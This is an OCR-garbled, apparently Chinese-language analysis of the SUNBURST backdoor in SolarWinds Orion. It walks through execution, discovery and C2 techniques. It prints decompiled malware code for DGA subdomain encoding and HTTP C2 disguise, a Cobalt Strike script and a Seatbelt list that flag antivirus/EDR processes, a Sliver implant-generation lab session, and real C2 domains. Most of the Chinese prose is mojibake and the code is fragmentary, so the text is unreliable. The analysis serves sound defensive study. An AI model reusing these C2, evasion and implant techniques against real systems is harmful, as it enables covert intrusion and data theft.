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SUPPLY CHAIN ATTACK

D
Attackers insert malicious code into a DLL component of ¢ . _ _ E
legitimate software. The compromised DLL is distributed to [ L Attacker I
organizations that use the related software. SolarWinds.Orion.Core.
BusinessLayer.dll
EXECUTION, PERSISTENCE "
- -
] —

When the software starts, the compromised DLL loads, and
the inserted malicious code calls the function that contains

solarwinds.business SolarWinds.Orion.Core. Backdoor
layerhost.exe BusinessLayer.dll activates

the backdoor capabilities.

Backdoor inspects
Backdoor
gathers info

DEFENSE EVASION
The backdoor has a lengthy list of checks to make sure it's
running in an actual compromised network.

environment

RECON
The backdoor gathers system info

INITIAL C2
The backdoor connects to a command-and-control server. () ———____ _.
The domain it connects to is partly based on info gathered

from system, making each subdomain unique. The backdoor | Initial C2 Command-and-
may receive an additional C2 address to connect to. | server control

| |
EXFILTRATION :

|

The backdoor sends gathered information to the attacker.
e

|

| Backdoor sends
| gathered info to C2
|
|

HANDS-ON-KEYBOARD ATTACK
The backdoor runs commands it receives from attackers. The

wide range of backdoor capabilities allow attackersto ~ A—
perform additional activities, such as credential theft, =

progressive privilege escalation, and lateral movement. Second C2 Backdoor runs Attacker starts
server commands from hands-on-keyboard
attacker attack

(Sunburstft LRz fEB & B BR-E IR AUER )
Sunburst/g VEAFAE AT AR S BHE A AT JLANHER |
(1)SolarWinds.BusinessLayerHost.exefll#SolarWinds.Orion.Core.BusinessLayer.dll , FHTHPHKIEENR,
QRIGETOEIERT | HMFLINE LT XEERS | R AN RIEHIT.

GRKEEBET , =3 F FADGAR AL MAIBAE K IXDNS_ ELIEA , FHEDNSHMTERERHE BSEITE
K.

(4)DNS_EEIBAART , M=BE AR FUser-AgentfiI3FAEEE | SC2M 5 SR ICHTTPIEHBIE,

(5)SUNBURSTGI 1A S REAMRAITHIFESIFAL , EETTATEEE X HPayload , fiaNCobalt Strike
beacon , E)TEARDROP#Ti#—H121E,

Sunburstfg[ KR ALEFFESolarWinds.Orion.Core.BusinessLayer.dIlX N34 |, XENCHREEHKNET
assembly , AfLE#HERMIFEF RN , oM HIZTEE. EESRMN=EA A RIEMIT (Execution) | FE
#&M| (Discovery) F1C2j#{5 (Command and Control) .

TTPsizE S/ T
14885 f7/Execution
1.1 I AR A

TR RANEEECRERAPTIE |, S5—HRAERFE R LETRIEFIFERF (agentimplant/artifact) .
Windows R4t LIARLRITIATERRS , WAl AN ST B THRMELE, XEEERZAUT=3:

2/36



(1)BYOB: Bring Your Own Binary , #t21E/a17. LA, HadiiFmMexedtt , LERIBHREN LIEIT. IhER
HERPITAR., RAREFEAMMIZN L, EAIRRKFEDRIFH SR INEE,

(2)LotL: Living off the Land , ATLUR#R A FHEM , FIFBWindows RZFIN FFEFeMBHITES T |, AR
Bt FI Apowershell . XFARFIAE LB EREFRMNE , 2B —EHMHEENMLR  BEEFTEHENRTF
HBEXANHAESE , REWIEH.

(3)BYOL: Bring Your Own Land , iXtt 2 FireEyei th i —Fh737% , EfE MATRA AL T BRAKAIERITREN
&, R MEFEITWindowsiIPESC#F, .NET assemblyXt . MREBE THEXHER , TP =4
REARXATHRARSE , RREFTEACITTARNEMEIITHARL , REEANGSFTREDENXIL.

1.2 SurburstSfrEEHHIS

ARV FE T EHRISunburst 5] 17245 T SolarWinds.Orion.Core.BusinessLayer.diIS{ {5 | ERNEITEE
SolarWinds.BusinessLayerHost.exeiX /N & iARIHFER N , 7] DIEAE A2 —Fh A FEMLiving off the LandfiiT77
5. ZNTDLLENFF , {BAEPL T EMMIDLLENRF | XEBYURMDLLAEN KT a1 BEEMmigkk. FEEUT
R

(EBURBHIDLL , RETAEZ RIDLLIAE M

(2FEFMEDLLIEST , A=A FHRMHTES I

QYN AREEHBEREE AN E 2, E5Windows lolbins# AL TTw

ARHMDLLED] , ATABEWEERITEISH(OpSec) , AR FBEERUXHAE , HIgHTI=IAA
(1)DLLETEMBFES , RAFRE LB T #4830 E X

e e —T
o | BEE (o | vmen| CaubRt R rmEE EEEE = EEEE EPEE
=1 =R
3 P
J— By— EBEEP)
=2 == p EBEE L5l VeriSign
sEmnE  mEDE HIDE: rece =8
Solarwinds W... sha256 2020858128 5. EATEHELT:
J—— BEARERA RS
« BTSSR

Bt

Solarwinds Werldwide, LLC
BTk =r

1
i W— *EREEED, SEBERTMATAGE.

] iz i3 Sclarwinds Worldwide, LLC
=L HsE: | Symantec Class 3 SHA256 Code Signing CA
EEEEE: EFEHE:  AEE
TIMESTAMP-S... FAIF 2020855 TR 2020/1/21 B 2023/1/21 e
IEHEERE.
SEAFBR)... TREE IR

P i |

(2)fRFLIE I A2 H 2k 2,31 TSolarWinds.Orion.Core.BusinessLayer.dll.OrionimprovementBusinessLayerfE R T
HInitializesR ¥ 18 % E3NE. DLLAQREUAARERR , BI6EAEAA FabITRE , SiSIRERFEAXLEES
¥
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0200001
02000012
2000025
Servicev2 @0200001E

02000027
@0200001F

02000029
0200002A

0
0: @06000
@06000053 By
) ; byte[] @OG0001 | syieam
EOGGEIE A6 SR S e e e e s e
: ! b O @8
4 0 wEs
4 @, solarWinds.Orion.Core.BusinessLayer.Backgroundinventory.in
b O =8
4 0w

4 B, SolarWinds.Orion.Core.BusinessLayer.Backgroundinventory.InventaryMana

b PO EE
4 DO R
4@ SolarWinds.Orion.Core.BusinessLayer Backgroundinvent
b L =R
4 0 @R
4 @, SolarWinds.Orion.Core.BusinessLayer.CoreBus
[Pl
4 0 wem
4 @ SolarWinds.Orion.Core.Businesslayer.Cor
b O =E
o)
eam @040000: » :»7 ]
[ Jpel

04000025
14000026

mm m‘ m"' m‘ m‘ m"' m‘ n‘ m"' m“ n“

(Q)RALEREE L hashBEik , FEFFHHEIThashabiE |
KIrERRI A HLE , TEIZHE

HMERS:

B R EURT

23631

@0600004E
@06000901

@06000900

@060002F8

@060002DC

BT EHIREM A SR &I,

( s)

51039346656037UL:

9511628211UL:

SolarWinds.Orion.Core.BusinessLayer.Orionlmpros
i SolarWinds.Orion.Core.BusinessLayer.Orionlm)
- ° &R
poly e
b @, SolarWinds.Orion.Core.BusinessLayer.O
?  SaolarWinds.Orion.Core BusinessLayer.O)
SolarWinds.Orion.Core.BusinessLayer.
SolarWinds.Orion.Core.BusinessLayer.Oi
SolarWinds.Orion.Core.BusinessLayer.
SolarWinds.Orion.Core.BusinessLayer.Oi
SolarWinds.Orion.Core.BusinessLayer.Oi
SolarWinds.Orion.Core.BusinessLayer.O\
SolarWinds.Orion.Core.BusinessLayer.Oi

2 EMIMl/Discovery
2.1 LI AL A
ABEAREGEEATESERFHETREN, KT FRAM TS

@0600004E
: @06000059

Uri(Qrionlr

@0600004E

600098F
@06000991

211 ARG

rHitpOipExMethods, inf) :

@060009BD

@0G0009A0

@06000993




SRR LA | 138 % 5 Btaskllist vAtasklist /sveEFHFEMIRS: , ATLLUAXE—FFLH)
B+LotLAI i, X BHEFR A NAT TR , KRATRURIEEC M FE R TIOE |, EENFMETI
BYOLAWA TR ERLUKH,

(1)ProcessColor.cna , —5kCobalt StrikefiffHilAs , AR BIEAIARCH E RNT M, EITRAE. 23K
.

$bd = bdata($1);

@av = @("Tanium.exe", "36@RP.exe", "360SD.exe", "360Safe.exe", "36@leakfixer.exe", "360rp.exe"”, "36@safe.exe"”, "360sd.exe”, "360tray.exe’|,

[avl = @("MBAMService.exe", "mbamtray.exe", "CylanceSvc.exe", "ndd32.exe", "ndetect.exe", "neomonitor.exe", "neotrace.exe", "neowatchloglex

@admin = @("MobaXterm.exe", "bash.exe", "git-bash.exe", "mmc.exe", "Code.exe", "notepad++.exe", "notepad.exe", "cmd.exe", "drwatson.exe", "

local('$outps $temp $name $ppid $pid $arch $user $session @ps’);

$outps .= "\cC[*]\o Process List with process highlighting\n";

$outps .= "\cC[*]\o Current Running PID: \c8 Yellow ". $bd['pid'] ." \o \n";

$outps .= "\cC[*]\o Explorer/Winlogon: \c2 BLUE \o \n";

$outps .= "\cC[*]\o Admin Tools: \cB LIGHT BLUE \o \n";

$outps .= "\cC[*]\o Browsers: \c3 GREEN \o \n";

$outps .= "\cC[*]\o AV/EDR: \c4 RED \o \n\n";

$outps .= " PID PPID Name Arch Session User\n";
$outps .= "\cE --- —--- e B \n";

foreach $temp (split("\n", ["$2" trim])) {
($name, $ppid, $pid, $arch, $user, $session) = split("\t", $temp);

# highlight AV processes in RED.

if(iff($name in @av,true,false)) {

push(@ps, %(pid =»> $pid, entry => "\c4 $[5]pid $[5]ppid $[28]name $[5]arch $[11]session $user \o"));
# highlight current process in YELLOW

} else if ($pid eq $bd['pid']) {

push(@ps, %(pid => $pid, entry => "\c8 $[5]pid $[5]ppid $[28]name $[5]arch $[11]session $user \o"));

# highlight explorer , winlogon in BLUE
} else if ($name eq "explorer.exe" || $name eq "winlogon.exe") {
push(@ps, %(pid => $pid, entry => "\c2 $[5]pid $[5]ppid $[28]name $[5]arch $[11]session $user \o"));

(2)Seatbeltfi¥InterestingProcessestin 4 , CHFARNZNREEEIEET R |, FfHER |, AleEE&HMREFRIINGE
nEk,
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var defensiveProcesses = new Dictionary<string, string>(
{

"mcshield", "McAfee"},

"windefend", "Windows Defender AV"},
"msascui”, "Windows Defender AV"},
"msascuil”, “"Windows Defender Av"},
"msmpeng”, "Windows Defender AV"},
"msmpsvc”, "Windows Defender AV"},
"wrsa", “"WebRoot AV"},

"savservice”, "Sophos AV"},
"tmccst", "Trend Micro AV"},
"symantec antivirus", "Symantec"},
"aexnsagent”, "Symantec"},
"ccsvehst™, "Symantec"},
"sisidsservice”, "Symantec IDS"},
"sisipsservice”, "Symantec IPS"},
"sisipsutil™, "Symantec IPS"},
"kvoop”, "Symantec DLP"},
"brkrprcsed”™, "sSymantec DLP"},
"edpa", "Symantec DLP"},

B e e T e T T T e e e T e e e e e

"mhaa "MalwarabButae Anti_Evalait+"l
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15 ulong [] confizTi amps = new ulon

EHAMERT | REUFFURS LR T 14 RLRRSRIE TR | (BE—LSRAAEIERABY
BARRIRSHOBHK | BATRRRINALITT . SunburstRi TAEFINEEIRE 7 RGIRH) , SOLTRA KRR R R
HIEDR™ G, X—MREBIMARELN , FEMsysmonhFlHTHIE,

ivity monitor
ich and Thoma

findstr /i

ivity monitor
h and Thoma

ESRZME A sysmon® 3 |, HATRTAEHFEF RS- HkE Isysmon, AR 2 B #thiiEsysmoni#F{ TE® 4 |
L7 RBRAEHBENR SN TP LA sysmonT , REEKEIBMEREFR. XNHEEFRFMBNE
T, BAksysmonBAREHKIRFNIE R B FIHEEURL , a1 TE
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smorn.£1tme

RI{EEIE RIER R sysmonflBHEE ZOARIIRSN B RN T |, (BESNIKsNEA —ME—Raltitude , ZAZIBHX AL
KRS T . sysmonfaltitude;2385201 , 20T & , FTRAXSPL LA, XANBAREH)

ivity monitor
ch and Thomas Garnier

fook

2.2 Sunburst3ZELAHLEH]

9/36



SolarWinds.Orion.Core.BusinessLayer.dllF K EE B TE THERKKE 9% , —HBIERNNSH , R
LUIERINAGEIRERN |, KA ST EAIRIE,

F sl
=
el R =t D
1 | HiEETFE
solarwinds.businesslayerhost.exe
TEDURSES AR =T
2 EEMEEN2ENAE, REBEEESE
R T-RaAsiiT

mEREREEA = EIE583dadds-
62af-10e8-4902-
38f205c72b2e, BREHEES
T

HEEEEREEIET
ReportWatcherRetry,
ReportStatusii 2843, Bl
TruncatelBH#FS
WESEIEEREE, EERTEE
DEERETHNESS
patternHashes=REI—EE==FFE
= T eEMLERIEMISRETL " (71)
([~a-z]|M)itest)([*a-2]|8)" | &=
ETrTrERFEnESREEETE
MELRAEIEE= (70
(solarwinds)”, BESEATITE
FREES AT sloarwindsti=]
MAEREE
HEE—TIEEREREE, TNE
IPE=8+

RiEFEHashEEE (513713
=), BESEREFEEReEx
T EHFOEESIERE. 10: Windbg,
Autoruns, Wireshark, ==
AEEEE-rES

RESIMEREGEEI RS
8 HREERNER.
groundling32.sys

ik
9 1T "apisolarwinds.com” g4

0] {20 i2heln

3 C2j#{&/Command and Control

REGEITIER , WMFME L TR T 2H , RIEN—LMEMC2RFF/ATEST . Sunburst/al BT B E XK
DGARIXAEMC21B 4 , BT B E XDNSEERT LLABA , BT BE XHTTPEEH{TIES TR SHIRRIE.

3.1 \FB

XFFEAKY , E AL MIPGEHTTPISIFIDNSHMY |, B2 X Z¥UE0LE FahFIWT B AR M IR fa kiE#% C2
BERAR. BAEBBHRIETE X C2EBENY , TEREMEMERNNGTF AL , BEENKEEALES , T
R FME Pk Sin , AFERIEBERE. WHANMEEFREEBEEESHNACERBRCMELRHE |, [t
ZNCobalt Strike, Empire. CovenantZ 1 E£f3 fFMalleable C2 profileKfLE .

Sunburst/g| 1iXFME FIDNSHIHTTPIMEE S HIAR |, 1E/EEAERE T Sliver C2iXzk T AMIDNS CanaryZhge., SR
DNS CanaryA~ & fisk#H{TC2IRBIEH , (BRIRME T —FPRAMDNEERZE B NATT B implanti B,

10/36



Sliver C24 i fimplantZiA & BT SIRERB R R KNER , FAHAGRFHEH, (BF 4EM--canary/-cE¥

B, 25 EHDNSIEL L EFFRHERik Nimplanth, HER—MI—T HIDNSIEE |, 2nREMA RS

HrEAIMimplant , ZILXMEA , RABRFEITT DNSHEMT , FATKC2RFZFMLWEIDNSEIMRERK |, XitHEA N
TERhEEwm AL,

WNTE , AN RIEIEImplantf)iHE , % EDNS canarymews.cs.local , 7E4E Aiftimplants , A\ T

mqrrzkj.news.cs.local. Flkvn3g0-.news.cs.localFiME 4 .

sliver > dns ——domains news.cs.local
Starting DNS listener with parent domain(s) [news.cs.locall] ...
Successfully started job #1
sliver > generate ——http http://192.168.189.128 -c news.cs.local
Generating new windows/amdé4 implant binary
Symbol obfuscation is enabled.
This process can take awhile, and consumes significant amounts of CPU/Memory
Build completed in @@:14:082
Implant saved to /home/kali/tools/PARLIAMENTARY_TATAMI.exe

sliver > http

Starting HTTP :8@ listener
Successfully started job #2

sliver >
Session #1 PARLIAMENTARY_TATAMI - 192.168.189.131:52058 (winl016@7) - windows/amd64 - Wed, 30 Dec 2020 @9:13:27 EST

sliver > slivers

Name 0s/Arch Debug Format Command & Control

FAIR_EXPLANATION windows/amd64 false EXECUTABLE [1] http://192.168.189.128

PARLIAMENTARY_TATAMI windows/amd64 false EXECUTABLE [1] http://192.168.189.128

sliver > canaries

Sliver Name Domain Triggered First Trigger Latest Trigger

PARLTAMENTARY_TATAMI mqgrrzkj.news.cs.local. false
FATR_EXPLANATION d7m3npg.client.cs.local. false
FATR_EXPLANATION iwhiv85.client.cs.local. false
PARLIAMENTARY_TATAMI kvn3g@-.news.cs.local. false

Session #2 PARLIAMENTARY_TATAMI - 192.168.189.131:52066 (winl@1607) - windows/amd64 - Wed, 30 Dec 2020 09:15:11 EST

LBEADITHA , SRPBITIEEN , C2IRFHFMSREIEE.

4 $$ SUGD SCrings @.exe | grep News.cs.Locat
> (den<<shift)/2unexpected end of JSON inputunexpected protocol version unreserving unaligned regionx503: unknown elliptic curve cannot be converted to type 45474735088646¢
11895751953125Central America Standard TimeCentral Pacific Standard TimeChatham Islands Standard TimelLockOSThread nesting overflowMon, 92 Jan 2006 15:04:05 GMTMon, @2 Jan 2¢
@6 15:04:05 MSTMon, @2-Jan-2006 04:05 MSTN. Central Asia Standard TimeNon-Authoritative InformationMorth Asia East Standard TimeProxy A entication RequiredTime.Unmarsh
lBinary: no dataUnavaila or Legal Reasonsaddspecial on invalid pointerbufio.Scanner: token too longcrypto/aes: invalid key size crypto/des: invalid key size crypto/rcs:
invalid key size crypto/rsa: invalid exponentsdup idle pconn %p in freelistexec: Wait was already calledexecujbwg=sw=Ou=y = e = _GCoffgfput: bad
status (not Gdead)http2: client conn not usablehttp: idle conmection timeouthttp://kvn3go-. httpll//mqrrzk;j
rror: took too muchinvalid header field value %ginvalid length of trace eventio: read/write on closed pipemac|line is not on the networimime
d local address typeneed padding in bucket (elem)no XENIX semaphores availablenotesleep - waitm out of syncnumerical result out of rangeoperation already in progresspadding
contained in alphabetpkcs12: odd-length BMP stringprofilealloc called with no Pprotocel family not supportedreflect.Value.Overflo mplexreflect: Elem of invalid typerefleci
: In of non-func type reflect: Key of non-map type reflect: Out of non-func typeruntime.semasleep wait_failedruntime: impossible type kindruntime: levelshift[leve i
e: marking free object runtime: p.gcMarkWorkerMode= runtime: split stack overflowruntime: stat underflow: val runtime: sudog with non-nil cruntim summary max pages =
me: unknown pc in defer semacquire not on the G stackstring concatenation too longsyntax error scanning booleantimeBegin/EndPeriod not foundtls: DialwithDialer timed outtls
invalid NextProtos valuetls: invalid server key sharetls: too many ignored recordstls: use of closed connectiontoo many open files in systemunknown IP protocol specifiedunk
nown certificate authorityx5@9: cannot parse URT % %sx509: cannot parse dnsName %gzero length OBJECT IDENTIFIER (types from different scopes) in prepareForSweep; sweepgen
locals stack map entries for 22737 5443232059 765625Central European Standard TimeCentral Standard Time (Mexico)E. South America Standard TimeEastern Standard Time
Mexico)GODEBUG: unknown cpu feature " DERS frame h stream ID @MapIter.Key called before NextPacific Standard Time (Mexico)Turks And Caicos Standard Timeabi mismatch
ected between archive/tar: write after closeasnl: cannot marshal nil valueassignment to entry in nil mapcheckdead: inconsistent countscrypto/dsa: invalid public keycrypto/r
a: verification errorfailed to get system page sizefreedefer with d._panic s nilhttp2: decoded hpack field %+vhttp: named cookie not presentillegal window increment walueir
ymeric Literalinappropriate ioctl for deviceinvalid function symbol table

:~/tools$ nslookup mgrrzkj.news.cs.local
Server: 192.168.189.136
Address: 192.168.189.136#53

Non-authoritative answer:
Name: maqrrzkj.news.cs.local
Address: 243.245.49.123




sliver > canaries
iver Name oma i "3 re First Tri

PARLIAMENTARY_TATAMI
FAIR_EXPLANATION
FAIR_EXPLANATION
PARLIAMENTARY_TATAMI

656 (winl@1607) - windo amd64 - Wed, 30 Dec B9:15:03. EST

WARNING: PARLIAMENTA AN as been burned (DNS Canary)

#3 PARLIAMENTARY_TATAMI -
4 PARLIAMENTARY_TATAMI -

been burned (DNS

VoW oW N I

3.2 Sunburst/gi 1EZM R = =,
(1RE B XK DnsRecordsftiL , A M E & R EHAKIRE X,

(2)XIDGAL R HIH A MEATHIPHIAE , PHTRE R, BRER, FHELRNINT , HEMERITMREESR T LU
BT,

(B)HTTPHIMX I —FhUser-Agent& X FSolarWinds ™=K User-Agent , AL B SRR {EHIRE.

G EMESKUARIERE |, BETTRIE. RERIEFSolarWinds A ELENRIE=FARE=HE M |, EHEC2RSE
Ao

(5)= FE A MR C2 AR S5 35,

(6)= E XM MDGAR X,

EREHER BRI A

(MEBSEXRMADNS_ ELEK | EEABAXDNSIEHERIFKIR B CNAME S EX R FEZEDnsRecordsXf &
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private class DnsRecords

public DnsRecords ()

{
}

public int A;///RHRFS[A]
public int _type;//1&RFTURLJIR [R5 i 77 =X
public int length://{CHEZEAY

public string cname://DNSHJCNAMEiC 5%

e o e e e e e o am Em

public bool dnssec://H&H

P—

DNSEMIARERKM , MK EREH7-9/NSRIRARESE] (ARS2ATE]) |, SHTARIREBE T F—R =3,

éase OrionImprovementBusinessLayer. AddressFamilyEx. Error:
E dnsRecords. A = random. Next (420, 540) ;

: break;

default:

WEKRAZ , WEEFIRTEBFECNAMESE. | NAEE , NAMRIPREREFANFT , B¥DnsRecordsXf % Xf v
TR

lengthFE% , LbF B AT RAEFEHIN B R ARIEARTY
_type B , M BURESEHIM B AE AR url AR 3T IR M EUR KA AT
ATE , WWFEIREDNSTEREAN BB X DNSTEK  [RIIRERT

(2)%f DAL AR EMATHIPHIAL , PHTE AR, REH, FHELANFNT  KVBIPLTE—BRELE  HSBK
SEHATruncate , N SBELIRELHALL , FHEAMCHEARBEE. IPREZHIIX
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| Ptk

10.0.0.0
172.16.0.0
192.168.0.0
224.0.0.0
fc00::

fec(::

ffO0:
41.84.158.0
74.114.24.0
154.118.140.0
217.163.7.0
20.140.0.0
96.31.172.0
131.228.12.0
144.86.226.0
8.18.144.0
18.130.0.0
71.15253.0
99.79.0.0
§7.238.80.0
199.201.117.0
184.72.0.0

FRHES

255.0.0.0
255.240.0.0
255.255.00
240.0.0.0
fe00:

ficO::

ffO0:
255.255.255.0
255.255.245.0
255.255.255.0
255.255.255.0
255.254.0.0
255.255.255.0
255.255.252.0
255.255.255.0
255.255.254.0
255.255.00
255.255.255.0
255.255.00
255.255.2458.0
255.255.255.0
255.254.0.0

AddressFamilyEx
&=

AtmARIPEESE
AtmARIPEEE
AtmARIPEEE
AtmPAIRIIPEESE
AtmARIPEEE
AtmARIPEEE
AtmARIPESE
IR EEE
xS EE
lpxibHEESE
IpfSHREEE
ImpLinkSiFEa
ImpLinkZSE=8
ImpLinkZEiE=s
ImpLinkSsiEs
NetBiosBE=5
NetBiosHE5
MetBiosEE58
MNetBiosE&E5
NetBiosE=4
MetBiosEHEE
MetBiosEEE8E

LRERBPAMARAMIPEL B | ImpLinkARIMNIPRE B |, IpxREERFFHH |, NetBiosRE £ #, 1RIR[

KIPATE—REH , WEESABRHFERERCANT L.

EFTHFE, R, WPRERBBL G | RARESMEITE 71848 “api.solarwinds.com”# i 2 5 AFEE IPHbE , 20

RIET NP LR RIEE , B MEET VA TRIFRR :
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ReportStatus=new

ERE—EDGAES

BT Records. AREREHLT-9/

DNSERER B (RERRTE

ZERecordsiIlength,
_type, AFER

IPESFE=EEE

i#=ReportStatus=Truncate, JT-HE

TR SN EEI R

() S E KR User-Agent 1 4 IEE(ARD ) C2I54 ICNAME DNSIER A ZREIE, , B 7= — AN BT
#2 , VA HttpHelper.Initialize /T ik 5 C2BR %25 15,

private class HttpHelper

public void Abort ()

{
| this.isAbort = true;
1
public HttpHelper (byte[] customerId, OrionImprovementBusinezsLayer.DnsRecords rec)
{
i this.customerld = customerld. ToArray<bvte>() :
I this. httpHost = rec.cname;|
|this.requestMethnd = (OrionlmprovementBusinesslLayer. HttpOipMethods) rec. _tvpe;
E| this. proxy = new OrionImprovementBusinessLaver. Proxy ((OrionImprovementBusinessLayer. ProxvType) rec. length) ;
}

HttpHelperfl#41& R 3 A A I FHDNSE K BRI BUR E GRS SRIE2ERY | BiFhUser-Agent , ZEIEEEN T ,
&= —FhA FFWindows & IFH R 443158
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if (this. requestMethod == OrionImprovementBusinessLayer. HttpOipMethods. Post)

E string[] array = new string[]
v |
,
) ”—root”,
.
| " cert”,
! ” - ”
—universal ca”,
' v n
! ] —-ca ,
” . ”
—primary_ca’,
“—timestamp”,

i ! "—global”,

i ' "-secureca”
b
f return string. Format (“pki/er1/{0} {1} {2}.crl”, this.random. Next (100, 10000), array[this.random. Next (array.Ler
}

S M AT SolarWindsAFHIBF TR |, ¥ s ASolarWindsIEE & KiEESER S RIR.

if (this. requestMethod = OrionImprovementBusinessLayer. HttpOipMethods. Put)
string[] array? = new stringl]

"Bold”,
"BoldItalic”,
"ExtraBold”,
"ExtraBoldItalic”,
"Italic”,

"Light”,
"LightItalic”,
"Rezular”,
"SemiBold”,
"SemiBoldItalic”

- =

-

tring[] arravd = new stringl[]

"opensans”,
"noto”,
"freefont”,
"SourceCodePro”,
"SourceSerifPro”,
' "SourceHanSans”,
i "SourceHanSerif”

b

@GS ERIMRARIERLE  HNAEEES NI, TRIE,. ASEARIENLI A5 KRB SolarWinds A S ECE K
I8, NXEWATAE T BRLALANTTFSolarWinsi T ##e8+9IEN.

T T
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(proxyType2 !

(proxyType2

ssLaver. ProxyType proxyType)

BREHEBT —ANJSONIIA |, ZEE RN T g R userlD , sessionIDFI—B E M X HBUETFER. RETEH

I JSONM YA IXEIC2ARSE 28,

(5) S B M C2/R 5528, - 2NRC2IEEAP) , C2MR %2 K BRI B gmADELE R dE | SR aE A 1ERIT
K4, C2IRFAF/AREESAR A XETIRENHABCIHBKIES.

SKIREIAR 5 25 H A TAEB7E Job. ExecuteEngine R ¥+

THEE

o AT ERBREC2MF AFxNTinZE EAIEHIGH A

it

F
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P B ismms
=8 0 %

B4 1 g

BT 2 AETEMERNTIIERE

EEHES 3 BFTMESES. oEIile. BhE. BESZSEE MACHEIE. Pl DHCPESHNES
HEEmEs 4 EHSEMURLEEHTIPER, FHESAESLISHETSEaC2RES

s R e

HEEEES 6 TEHDS ERESNETSSEIGHED, BRE, 5E

EEAs 7 iREPIDETEENE

BEHES 8 REVHESKETANSS

BATH 9 IREAEETBasctMETEE, SBasct BRI EMNELIAIERE AT, SASIER -2
HETESEEE 10 HETeSesTEs

Bzt 1 e

FALTHIAR 12 FECIEHMDSIRERES

= 13 SEEMEE

BET=E 14 BEEMEE

BsTm=E 15 BEEMEE

gﬁiﬁ?ﬁ*” 16 FIEHSEE N T EESTEE

=5 17 EREEsEs

(6)= Bk R IDGAE I :

MRAEFARET_ERMEL , NEFAREwhilefBHAH B DCGAR AT A4 AR, HARSIEIRIFRA Al 2 [AIEKIFEAL RIS ;
SRS E)BIF@ T AR 12035354 , 302120 ek AE SR S+ A T 8K 42021540505 (/i) SEREINHIEEFENLE.

Stk BPOFh T IESRA Aurl , 951K GetCurrentString , GetPreviousString , GetNextStringExF1GetNextStringe|
.

hostNam
(0 Layer. ReportStatus. )

ayer. AddressFamilyEx. ) 2 cryptoHelper. GetCurrentStr

hostNamé = (flag3 ? cryptoHelper. GetNextStrinzEx (dnsRecords. ) |: cryptoHelper. GetNextStrin

TEEOMTEMERSE  LERSARKURLKE BRI EE, XEFETHR—ATENWANEIL , AHexs
DGAMEIEEMITFEEM T iR, — N2 2GUID, AN INEE £E) CryptoHelper.Base64Encodefll
CryptoHelper.Base64Decode,

HhGetCurrentString/GetPreviousString ] PUAAZ B — M EXDGA , B& ] PAST RTINS |,
GetNextStringEx/GetNextStringa] LUA K Z S _MEXDGA , B8 7 BMKRS S REEEE.

REFM - WANE o URLE— M4 AL S hostname4A A,
ReportStatus New B addressFamilyEx A Error GetCurrentString  CreateSecureString /12 EIGUID + Char+Base64DecodefJif&/ (*00"+Base64EncodeIis &) FAthis nCount=}3&this nCount - 11 #CreateString 8541
ReportStatus HNew BaddressFamilyExT JError|  GetPreviousString  CreateSecureString /I &JGUID + Char+Base64DecodeIE %/ ("00"+Base64Encodefy A ) B IhwsdnSULDwer%;ég;;!;ﬁi:g;;?amnameqlEﬁﬁ?%lh\s nCounttF
ReportStatussyAppend Bflag3ss 1l GetNextStringEx CreateSecureString I &IGUID SBTREHESE WRSERIFRRSTETRFELGUD
ReportStatusJAppend Bflag30 GetNextString CreateSecureString NEAIGUID FRIHGUIDY R T = stringHash T B AT A E M CreateSecurestring iz |
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RNEWFEM AR , FEOrionimprovementBusinessLayer.GetOrCreateUser|DH
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptographyf{] Machine Guid{EF1&— 4N M£& &AL 22 S
HEMACER AR T UID , FiEidiTEUIDMDSI % , B FComputeHashZ$i 77755 MD5 IS #{E1EN 167 T HI%EHIR
[, S ERAKH 64 A EXFASEIEFRGUID, GUIDIEIT CreateSecureStringER¥iH TN |,
CreateSecureStringeR 1§ F T CryptoHelper.Base64Encode B A NE:, AR NERT 2L 2
CryptoHelper.Base64Encodek #F1CryptoHelper.Base64DecodetR ¥ SRINE) , MIFE St
CryptoHelper.Base64Encoderk ¥ #1CryptoHelper.Base64Decodek#i, SRTMIXPN MR EEIFH A EZIRRRANE W,
KIBase64Zwfi#RLER %K .

[1 hash64)

text = 0
hash64 =
(hash64, 0, hash64

ext =— )

1 < @array.

= hashb4;
hashf4.

array2[num] "= arra‘_-r_:i];

Random random =
( value

) ¢ (text3 + text2[0]. ToStr

CryptoHelper.Base64Encode HL 302 B i X M 51 K fBase32H /%,
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(bytel] bytes,

text2 += text[(int) (num & 31u)]. ToString();
num >>=

0)

if (rt)
{

num |= (uint) ((uint)new Random{). Ne:

text? += text[(int) (num & 31u)]. ToStri

n text?;

T &2 GetCurrentString/GetPreviousString R ¥ i1 275 7 LA CryptoHelper.Base64Decode M #5184 75 TAE A
URL., HAMRRSEIEW  BRARTEEAL. ZEBE00HH FUARREAMNES MIRES.

—. BI15ANF T2 GUIDH N EIT f54wA%0fn7 oedcegrfa33

— . FA—AFTRIE T CreatString4E A “c”

=. JaEMImudofi75fativh N2 ADIS RS R F 45 & .

RAX BT R 00T kbR | ATIART RART & i1

OrionlmprovementBusinessLayer.CryptoHelper.Base64DecodeXf Y (KIfi#ha E %, fi#fLfaa] ASRik42 7K -
WASHO,

00mudofi75f4tjvhlappsync-api.us-west-2 .avsvmcloud.com

y —

\ J .
Y Y m eu-west-1
GUID T FRTEIEAI B TR s us-west-2
us-east-1
~  us-east-2
ﬂ CreateString

4RERiE: CreateSecureString(this.guid, ftrue);

Base64Decode

T2 BT GetNextStringExFl GetNextString eR¥ N A A NAEMAIURL, XHER_FEIESRINRIZF00"HrE |, X
FURLIEA F1GetCurrentString/GetPreviousString R ¥ % 7 T A PACryptoHelper.Base64Encode Il 234 K 7 2
EREH , FTRUXFhEH{F A CryptoHelper.Base64EncodeXt N FIfi#hS 35 AR 7] , 4152 spsd.sk.calli 4
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0c32j0j6g8up3aob6dbn0g6j0geu fappsync-api .us-east-1 .avsvmcloud.com

mq eu-west-1

# us-west-2

. i i us-east-1
kpkBi%E: CreateSecureString(this.UpdateBuffer, false) = us-gast-2

L5 @bambenekfEE Github_E /AN T 172240 B S Itk B B4 AH X D GAE 4 -

¥ main - research / sunburst / uniq-hostnames.txt

bapril Adding data from DNSDB (+ numeric sorting ipv4 list)

A 2 contributors r

1722 lines (1722 =loc) 188 KB

82mehcopdl7pehd5@gt3 . appsync-apl.us-west-2.avsvmcloud . com
839n5tnndkhrfnScundy@sz82hijébl2 . appsync-api.us-west-2.avsvmcloud. com
84 3o09vacvthfevdstill . appsync-apl.us-east-2.avsvmcloud . com
84jrge6dimgkdeqimiadfey . appsync-api.us-east-2.avsvmcloud. com
